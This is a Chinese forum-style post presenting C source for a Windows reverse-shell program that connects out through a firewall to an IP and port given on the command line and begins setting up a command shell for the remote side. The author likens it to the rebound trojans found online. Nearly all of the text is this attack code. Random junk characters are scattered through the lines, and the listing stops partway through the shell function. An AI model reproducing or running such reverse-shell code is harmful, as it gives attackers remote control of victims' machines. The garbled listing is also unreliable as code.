这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 CCp&P5[67
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/* ============================== yM(zc/?
Rebound port in Windows NT >,22@4
By wind,2006/7 <t[WHDO`
===============================*/ S'"(zc3=
#include __jFSa`at
#include ~Y^
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#pragma comment(lib,"wsock32.lib") X2PQL"`
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void OutputShell(); o)<c1\q
SOCKET sClient; _+z5~6>
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 3(|8gWQ
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void main(int argc,char **argv) 9
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{ O+U9 p
WSADATA stWsaData; C]{:>= K
int nRet; r9@4-U7v&
SOCKADDR_IN stSaiClient,stSaiServer; Bd8,~8
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if(argc != 3) ^3*k6h[(
{ 48
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printf("Useage:\n\rRebound DestIP DestPort\n"); V6%J9+DK
return; Z3Le?cMt^
} 'LY.7cW
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WSAStartup(MAKEWORD(2,2),&stWsaData); bbevy!m
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); RM2<%$
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stSaiClient.sin_family = AF_INET; :p^7XwX%w
stSaiClient.sin_port = htons(0); p]z
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stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); XBi}hT
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) CFqteY"
{
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printf("Bind Socket Failed!\n"); 9Tbi_6[
return; F)x^AJie
} ;Js-27_0
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stSaiServer.sin_family = AF_INET; -ZXC^zt
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); x O`#a=
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); w>M8FG(4]
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) mouLjT&p
{ pUV3n
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printf("Connect Error!"); ~Xa8\>
return; *^cJn*QeL
} bnS"@^M
OutputShell(); I@x^`^+l
} H4#|f n
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void OutputShell() 7;H!F!K]
{ w-9FF%@<
char szBuff[1024]; gc|?$aE
SECURITY_ATTRIBUTES stSecurityAttributes; 4Eq$f (QJ
OSVERSIONINFO stOsversionInfo; |fYr*8rH
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; "P O>@tY
STARTUPINFO stStartupInfo; P[NAO>&t